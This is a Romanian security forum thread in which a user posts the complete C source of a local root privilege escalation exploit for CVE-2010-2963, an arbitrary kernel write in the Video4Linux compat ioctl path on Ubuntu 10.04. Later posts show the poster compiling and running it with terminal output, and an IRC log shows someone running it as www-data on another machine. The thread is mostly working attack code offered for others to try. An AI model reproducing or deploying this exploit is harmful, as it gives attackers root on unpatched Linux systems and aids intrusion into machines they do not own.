Jump to content
Nytro

Ubuntu 10.04 (kernel 2.6.36?) - Local Root Privilege Escalation Exploit

Recommended Posts

Posted

Ubuntu 10.04 (kernel 2.6.36?) - Local Root Privilege Escalation Exploit

Nu sunt sigur ca functioneaza. Ma uitam azi pe o prezentare de la Defconf 19 si am dat peste el.

E vorba de aceasta problema: CVE - CVE-2010-2963 (under review)

drivers/media/video/v4l2-compat-ioctl32.c in the Video4Linux (V4L) implementation in the Linux kernel before 2.6.36 on 64-bit platforms does not validate the destination of a memory copy operation, which allows local users to write to arbitrary kernel memory locations, and consequently gain privileges, via a VIDIOCSTUNER ioctl call on a /dev/video device, followed by a VIDIOCSMICROCODE ioctl call on this device.

Info: National Vulnerability Database (NVD) National Vulnerability Database (CVE-2010-2963)

Exploit:

/*
* Stand-alone CVE-2010-2963 exploit, tuned for unpatched Ubuntu 10.04
* Kees Cook <kees@ubuntu.com>
*
* Thanks to Dan Rosenberg for net target/trigger (with thanks to
* netstat authors for INET_DIAG parsing code).
* Thanks to Brad Spengler for symbols parser and creds payload.
* Greets to pipacs, redpig, nelhage, segoon, taviso, solardiz.
*
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <sys/utsname.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <linux/videodev.h>
#include <syscall.h>

/* 32bit __NR_ioctl syscall 54 */
#include <asm/unistd_32.h>
#define IOCTL_SYSCALL __NR_ioctl

#define PORT 31337 /* Trigger socket, just listens briefly */
#define SOCK_OFFSET 584 /* offsetof(struct sock, sk_destruct) */
#define DEVICE "/dev/video0"

unsigned int syscall32(unsigned int syscall, unsigned int arg1,
unsigned int arg2, unsigned int arg3)
{
unsigned int rc;

asm volatile( "movl %1, %%ebx;\n"
"movl %2, %%ecx;\n"
"movl %3, %%edx;\n"
"movl %4, %%eax;\n"
"int $0x80;\n"
"movl %%eax, %0;\n"
/* output */
: "=g"(rc)
/* input */
: "g"(arg1), "g"(arg2), "g"(arg3), "g"(syscall)
/* clobbered registers */
: "%eax", "%ebx", "%ecx", "%edx"
);

return rc;
}

int hollywood = 0;
void hollywood_status(char *format, unsigned long value)
{
unsigned long mask = 0x0;
unsigned long drama;
int counter;

if (!hollywood) {
printf(format, value);
printf("\n");
return;
}

for (counter = 0 ; ; counter ++) {
drama = ((unsigned long)rand() << (sizeof(int)*8)) | (unsigned long)rand();
printf("\r");
printf(format, (drama & ~mask) | (value & mask));
fflush(NULL);
usleep(10000);
if (mask == ~0x0UL) break;
if (counter % 16 == 0) {
mask |= (0xFFUL << ((rand() % sizeof(mask))*8));
}
}
printf("\n");
}

struct video_code32 {
char loadwhat[16];
int datasize;
int padding;
uint64_t data;
};

int kernel_write(uint64_t destination, void *source, int length)
{
static struct video_code32 *vc;
static struct video_tuner *tuner;
int dev;
unsigned int code;

printf("[*] Overwriting at 0x%lx with %d bytes from %p\n", destination, length, source);

if ( (dev=open(DEVICE, O_RDWR)) < 0) {
perror(DEVICE);
exit(1);
}
printf(" - Opened %s\n", DEVICE);
if (hollywood) sleep(3);

if (!vc) {
vc = (struct video_code32*)mmap(NULL, sizeof(*vc),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT,
0, 0);
if (vc == MAP_FAILED) {
perror("mmap");
exit(1);
}
}
if (!tuner) {
tuner = (struct video_tuner*)mmap(NULL, sizeof(*tuner),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT,
0, 0);
if (tuner == MAP_FAILED) {
perror("mmap");
exit(1);
}
}

vc->datasize = length;
vc->data = (uint64_t)(uintptr_t)source;

memset(tuner, 0xBB, sizeof(*tuner));

// manual union, since a real union won't do ptrs for 64bit
uint64_t *ptr = (uint64_t*)(&(tuner->name[20]));
*ptr = destination;

printf(" - Spamming VIDIOCSTUNER ioctl ...\n");

// beat memory into the stack...
code = 0x40347605; // VIDIOCSTUNER
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);

/* VIDIOCSMICROCODE32, the misconstructed VIDIOCSMICROCODE */
code = 0x4020761b;
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)vc);

printf(" - VIDIOCSMICROCODE ioctl completed\n");

return 0;
}

/* Get the address of the sock struct for our socket */
unsigned long get_sock_addr(unsigned int port)
{
FILE *f;
char buf[1024];
unsigned int testport, a;
unsigned long addr, b;

f = fopen("/proc/net/tcp", "r");

if (f < 0) {
printf("[*] Failed to open /proc/net/tcp\n");
return 0;
}

while (fgets(buf, 1024, f)) {
sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X "
"%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u "
"%d\n",
&a, &a, &testport, &a, &a, &a, &a, &a, &a, &b,
&a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a,
&a);
if (testport == port)
goto out;
}
addr = 0;
out:
fclose(f);
return addr;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}

repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
char *msg;
asprintf(&msg, "[*] Resolved %s to 0x%%016lx", name);
hollywood_status(msg, addr);
free(msg);
fclose(f);
return addr;
}
}

fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}

int sock;
unsigned long choose_target()
{
unsigned long target;
struct sockaddr_in addr;

printf("[*] Opening trigger socket listener on port %d ...\n", PORT);
sock = socket(AF_INET, SOCK_STREAM, 0);

if (sock < 0) {
printf("[*] Failed to open trigger socket.\n");
exit(1);
}

memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = INADDR_ANY;

if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
printf("[*] Failed to bind trigger socket.\n");
exit(1);
}

/* Our socket won't appear in /proc/net/tcp unless it's listening */
if (listen(sock, 1)) {
printf("[*] Failed to listen on trigger socket.\n");
exit(1);
}

target = get_sock_addr(PORT);

if (!target) {
printf("[*] Failed to get trigger socket address via INET_DIAG.\n");
exit(1);
}

target += SOCK_OFFSET;
hollywood_status("[*] Trigger struct sock address + offset of sk_destruct: 0x%016lx", target);

return target;
}

void trigger_target()
{
if (hollywood) sleep(2);
printf("[*] Triggering payload...\n");
if (hollywood) sleep(3);
close(sock);
}

unsigned long get_payload_addr(void)
{
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");

return (uintptr_t)getroot;
}

int main(int argc, char * argv[])
{
unsigned long payload;
unsigned long target;

srand(time(NULL)); // Hollywood level randomness!

if (argc>1 && !strcmp(argv[1],"--hollywood")) hollywood = 1;

printf("Preparing ...\n");
payload = get_payload_addr();
hollywood_status("[*] Exploit payload function pointer at 0x%016lx", (uintptr_t)&payload);
target = choose_target();

printf("Attacking ...\n");
kernel_write(target, (void*)&payload, sizeof(payload));
trigger_target();

if (getuid()) {
printf("[*] Failed to get root.\n");
return -1;
}
if (hollywood) {
printf("[*] *dramatic chord*\n");
sleep(2);
}
printf("[*] Pwnage complete!\n");
execl("/bin/sh", "sh", NULL);

perror("execl");
return 1;
}

Nu am deocamdata prea multe detalii, daca am timp sa ma informez revin cu informatii.

Posted (edited)

La mine nu a vrut, pe 2.6.39. Cred ca am si o versiune mai veche, o sa incerc si pe ea. Deocamdata:

nytro@rst:~$ whoami
nytro
nytro@rst:~$ uname -a
Linux rst 2.6.39nytro #1 SMP Fri May 20 01:14:36 EEST 2011 i686 GNU/Linux
nytro@rst:~$ cd Documents/
nytro@rst:~/Documents$ gcc exploit.c -o exploit
exploit.c: In function ‘hollywood_status’:
exploit.c:77: warning: left shift count >= width of type
exploit.c: In function ‘kernel_write’:
exploit.c:104: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘uint64_t’
nytro@rst:~/Documents$ chmod +x exploit
nytro@rst:~/Documents$ ./exploit
Preparing ...
[*] Resolved commit_creds to 0x00000000c016ea90
[*] Resolved prepare_kernel_cred to 0x00000000c016ecc0
[*] Exploit payload function pointer at 0x00000000bfcdbf3c
[*] Opening trigger socket listener on port 31337 ...
[*] Trigger struct sock address + offset of sk_destruct: 0x00000000ede5eb48
Attacking ...
[*] Overwriting at 0xede5eb48 with 0 bytes from 0x4
/dev/video0: No such file or directory
nytro@rst:~/Documents$ whoami
nytro
nytro@rst:~/Documents$ mknod /dev/video0 c 81 0
mknod: `/dev/video0': Permission denied
nytro@rst:~/Documents$ su
Password:
root@rst:/home/nytro/Documents# mknod /dev/video0 c 81 0
root@rst:/home/nytro/Documents# exit
exit
nytro@rst:~/Documents$ ./exploit
Preparing ...
[*] Resolved commit_creds to 0x00000000c016ea90
[*] Resolved prepare_kernel_cred to 0x00000000c016ecc0
[*] Exploit payload function pointer at 0x00000000bf87210c
[*] Opening trigger socket listener on port 31337 ...
[*] Trigger struct sock address + offset of sk_destruct: 0x00000000ede58748
Attacking ...
[*] Overwriting at 0xede58748 with 0 bytes from 0x4
/dev/video0: Permission denied
nytro@rst:~/Documents$ su
Password:
root@rst:/home/nytro/Documents# chmod 666 /dev/video0
root@rst:/home/nytro/Documents# exit
exit
nytro@rst:~/Documents$ ./exploit
Preparing ...
[*] Resolved commit_creds to 0x00000000c016ea90
[*] Resolved prepare_kernel_cred to 0x00000000c016ecc0
[*] Exploit payload function pointer at 0x00000000bfa9b57c
[*] Opening trigger socket listener on port 31337 ...
[*] Trigger struct sock address + offset of sk_destruct: 0x00000000ede58748
Attacking ...
[*] Overwriting at 0xede58748 with 0 bytes from 0x4
/dev/video0: No such device or address
nytro@rst:~/Documents$ ls /dev/video*
/dev/video0
nytro@rst:~/Documents$ lsmod
Module Size Used by
videodev 78103 0
binfmt_misc 6420 1
parport_pc 25796 0
ppdev 5064 0
dm_crypt 13696 0
mac80211 246236 0
snd_hda_codec_hdmi 21534 1
snd_hda_codec_realtek 248102 1
snd_hda_intel 21720 2
snd_hda_codec 84130 3 snd_hda_codec_hdmi,snd_hda_codec_realtek,snd_hda_intel
snd_hwdep 4984 1 snd_hda_codec
snd_pcm 70434 3 snd_hda_codec_hdmi,snd_hda_intel,snd_hda_codec
snd_seq_midi 4364 0
r8192se_pci 445895 0
snd_rawmidi 17462 1 snd_seq_midi
joydev 8489 0
snd_seq_midi_event 5959 1 snd_seq_midi
cfg80211 145102 1 mac80211
snd_seq 46035 2 snd_seq_midi,snd_seq_midi_event
snd_timer 18315 2 snd_pcm,snd_seq
snd_seq_device 5562 3 snd_seq_midi,snd_rawmidi,snd_seq
snd 48219 14 snd_hda_codec_hdmi,snd_hda_codec_realtek,snd_hda_intel,snd_hda_codec,snd_hwdep,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_device
psmouse 61369 0
serio_raw 3776 0
soundcore 888 1 snd
snd_page_alloc 7096 2 snd_hda_intel,snd_pcm
lp 7085 0
hp_wmi 7204 0
parport 30699 3 parport_pc,ppdev,lp
sparse_keymap 3478 1 hp_wmi
i915 467399 2
usbhid 34350 0
hid 68860 1 usbhid
usb_storage 39698 0
drm_kms_helper 32119 1 i915
drm 183577 3 i915,drm_kms_helper
ahci 18634 2
i2c_algo_bit 4913 1 i915
libahci 19882 1 ahci
intel_agp 9562 1 i915
intel_gtt 13592 3 i915,intel_agp
r8169 36279 0
agpgart 29117 3 drm,intel_agp,intel_gtt
video 11166 1 i915
mii 4434 1 r8169
nytro@rst:~/Documents$

Pe o alta versiune (2.6.35):

nytro@rst:~$ whoami
nytro
nytro@rst:~$ lsmod
Module Size Used by
binfmt_misc 6599 1
vboxnetadp 6454 0
vboxnetflt 15152 0
vboxdrv 190199 2 vboxnetadp,vboxnetflt
parport_pc 26058 0
ppdev 5556 0
dm_crypt 11385 0
snd_hda_codec_intelhdmi 9812 1
joydev 8767 0
snd_hda_codec_realtek 218492 1
snd_hda_intel 22235 2
snd_hda_codec 87552 3 snd_hda_codec_intelhdmi,snd_hda_codec_realtek,snd_hda_intel
r8192se_pci 469516 0
psmouse 59033 0
serio_raw 4022 0
snd_hwdep 5040 1 snd_hda_codec
hp_wmi 5223 0
snd_pcm 71475 2 snd_hda_intel,snd_hda_codec
snd_seq_midi 4588 0
mac80211 231959 0
snd_rawmidi 17783 1 snd_seq_midi
snd_seq_midi_event 6047 1 snd_seq_midi
snd_seq 47174 2 snd_seq_midi,snd_seq_midi_event
snd_timer 19067 2 snd_pcm,snd_seq
lp 7342 0
snd_seq_device 5744 3 snd_seq_midi,snd_rawmidi,snd_seq
snd 49038 13 snd_hda_codec_realtek,snd_hda_intel,snd_hda_codec,snd_hwdep,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_device
cfg80211 144694 2 r8192se_pci,mac80211
soundcore 880 1 snd
snd_page_alloc 7120 2 snd_hda_intel,snd_pcm
parport 31492 3 parport_pc,ppdev,lp
dm_raid45 81721 0
xor 15136 1 dm_raid45
i915 295435 3
usbhid 36882 0
drm_kms_helper 30200 1 i915
hid 67742 1 usbhid
drm 168060 3 i915,drm_kms_helper
usb_storage 40204 0
intel_agp 26566 2 i915
ahci 19198 2
r8169 36521 0
libahci 21728 1 ahci
mii 4425 1 r8169
agpgart 32011 2 drm,intel_agp
i2c_algo_bit 5168 1 i915
video 18712 1 i915
output 1883 1 video
ramzswap 9555 0
lzo_compress 1865 1 ramzswap
nytro@rst:~$ cd Documents/
nytro@rst:~/Documents$ ls /dev/video*
ls: cannot access /dev/video*: No such file or directory
nytro@rst:~/Documents$ ./exploit
Preparing ...
[*] Resolved commit_creds to 0x00000000c016cd40
[*] Resolved prepare_kernel_cred to 0x00000000c016d190
[*] Exploit payload function pointer at 0x00000000bf8dc72c
[*] Opening trigger socket listener on port 31337 ...
[*] Trigger struct sock address + offset of sk_destruct: 0x00000000f415a048
Attacking ...
[*] Overwriting at 0xf415a048 with 0 bytes from 0x4
/dev/video0: No such file or directory
nytro@rst:~/Documents$ su
Password:
root@rst:/home/nytro/Documents# mknod /dev/video0 c 81 0
root@rst:/home/nytro/Documents# chmod 666 /dev/video0
root@rst:/home/nytro/Documents# exit
exit
nytro@rst:~/Documents$ ./exploit
Preparing ...
[*] Resolved commit_creds to 0x00000000c016cd40
[*] Resolved prepare_kernel_cred to 0x00000000c016d190
[*] Exploit payload function pointer at 0x00000000bfbcabbc
[*] Opening trigger socket listener on port 31337 ...
[*] Trigger struct sock address + offset of sk_destruct: 0x00000000f415a048
Attacking ...
[*] Overwriting at 0xf415a048 with 0 bytes from 0x4
/dev/video0: No such device or address
nytro@rst:~/Documents$ uname -a
Linux rst 2.6.35-28-generic #50-Ubuntu SMP Fri Mar 18 19:00:26 UTC 2011 i686 GNU/Linux
nytro@rst:~/Documents$

PS: Probabil kernelele mele nu au fost compilate cu suport pentru video4linux. Nu e nimeni cu Ubuntu 10.04 sa incerce asta?

Edited by Nytro
Posted

<speedline649-> Ubuntu 10.04.2 LTS \n \l

<@cincix> speedline649- ./a

<speedline649-> /dev/video0: No such file or directory

<speedline649-> Preparing ...

<speedline649-> [*] Resolved commit_creds to 0xffffffff8108ca60

<speedline649-> [*] Resolved prepare_kernel_cred to 0xffffffff8108ce40

<speedline649-> [*] Exploit payload function pointer at 0x00007ffff1213d58

<speedline649-> [*] Opening trigger socket listener on port 31337 ...

<speedline649-> [*] Trigger struct sock address + offset of sk_destruct: 0xffff88011b0b8f48

<speedline649-> Attacking ...

<speedline649-> [*] Overwriting at 0xffff88011b0b8f48 with 8 bytes from 0x7ffff1213d58

<@cincix> speedline649- whoami

<speedline649-> www-data

Posted

Ah, chiar, uitasem ce e mai important...

Oricum am inteles ca nu se mai foloseste video4linux la versiunile de Ubuntu (cel putin) mai mari de 10.04.

Am mai incercat acum la munca pe o versiune, dar nu imi compila, zicea ca lipseste un header. Am instalat libv4l-dev si degeaba, aceeasi problema.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...